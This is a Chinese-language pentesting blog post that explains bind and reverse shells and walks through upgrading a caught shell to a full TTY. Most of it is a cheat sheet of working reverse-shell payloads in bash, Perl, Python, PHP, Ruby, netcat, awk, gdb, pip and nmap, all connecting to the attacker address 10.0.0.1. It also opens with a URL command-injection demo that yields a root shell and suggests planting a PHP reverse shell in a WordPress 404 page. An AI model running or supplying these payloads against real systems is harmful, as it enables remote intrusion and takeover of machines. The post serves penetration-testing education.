Reverse Shell / Bind Shell 詳解

在我們已經可以利用某個漏洞時,最期待的莫過於遇到可以RCE的洞,而我們從網站漏洞到拿到目標Server的Initial Access就是透過Bind Shell或Reverse Shell的方式。

1
2
3
4
5
6
$nc -lvnp 1337

https://blog.hack.tw/?cmd=nc%20-e%20/bin/sh%2010.0.0.1%201337

$ id
root

這篇是我在2021年參加 iThome 鐵人賽的其中一篇,之後會把其他篇把內容修改的更完整之後再放上來

正文

Bind Shell

Bind shell 是綁定到目標(受害者)主機上的特定 port 來監聽傳入連接的shell,例如:

先使用 netcat 將 bash(sh) Shell 綁定到目標主機上的 1234 port

然後在攻擊者端通過這個 1234 port 連接到目標主機。(右方為攻擊者)

Reverse Shell

Reverse Shell 則是相反 先在攻擊者(local)端監聽任何對 4444 port 的發起的連線,

然後讓目標主機(受害者端)對攻擊者端的 4444 port 發起連線。(右方為攻擊者)

兩者的差別在於,Reverse shell是從目標主機對攻擊者主機發起連線 而Bind Shell是先在目標主機上綁定特定port,然後等來自攻擊者主機對目標主機發起連線,就像後門(backdoor)一樣。

很多可以建立連線的程式語言/指令都可以用來寫Bind/Reverse Shell,依據語言特性也會有不同的寫法,甚至有些意想不到的command都可以用來寫Bind/Reverse Shell,下面列出幾個Reverse Shell:

各種各樣的 Reverse Shell

  • nmap
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
export RHOST=10.0.0.1
export RPORT=1234
TF=$(mktemp)
echo 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
  local r,x=t:receive();local f=assert(io.popen(r,"r"));
  local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();' > $TF
nmap --script=$TF
  • bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

有時為了確保目標的shell使用bash會在前面加上bash -c: bash -c `bash -i >& /dev/tcp/10.0.0.1/1234 0>&1`

  • gdb
1
2
3
4
5
6
export RHOST=10.0.0.1
export RPORT=1234
gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' -ex quit
  • Perl
1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Python
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • pip
1
2
3
4
5
6
7
8
export RHOST=10.0.0.1
export RPORT=1234
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' > $TF/setup.py
pip install $TF
  • PHP
1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

另一種php Reverse Shell,適合用在具有某個可以修改且運行的php網站,例如將wordpress的404.php,換成這種類型的Reverse Shell,礙於篇幅,我只將Github網址貼上來:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

  • Ruby
1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • Netcat
1
nc -e /bin/sh 10.0.0.1 1234
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • awk
1
2
3
4
5
6
RHOST=10.0.0.1
RPORT=1234
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

完全交互式 TTY / Fully Interactive TTY

當你成功在目標主機上或的 Initial Access 後,最常碰到的問題就是,無法像正常的 Shell 一樣好用,例如不能使用方向鍵(像是上箭頭↑的指令歷史紀錄)、倒退、clear、無法正常使用 vim 等等,甚至一些指令如su,ssh都要求需要一個正常的 Shell 才能執行。

這時候我們就可以透過一些方法來將這個 shell 升級成完全交互式(Fully Interactive)的 TTY

  • Python pty 這也是我最常用的,首先在接收到從目標主機彈回來的 Shell 之後,在獲得的 shell 執行以下動作:
  1. python3 -c 'import pty; pty.spawn("/bin/bash")'
  2. Ctrl + z

會顯示

[1]+ Stopped nc -nvlp 1234

  1. stty raw -echo; fg
  2. 按兩次Enter

這樣就完成了,但仍然有一些問題,像是在輸入較長的指令時,會在非預期的地方換行甚至覆蓋掉原本寫的指令,非常不方便,所以需要讓這個升級過後的 tty 跟我們原本的 terminal 保持一致。

先在一個新的terminal執行:

  1. stty -a

拿到 raw s跟 colums 的值後,在剛剛升級的 tty 上寫下: export TERM=xterm-256color stty rows 32 colums 69 這樣我們就得到一個足夠好用的 tty 了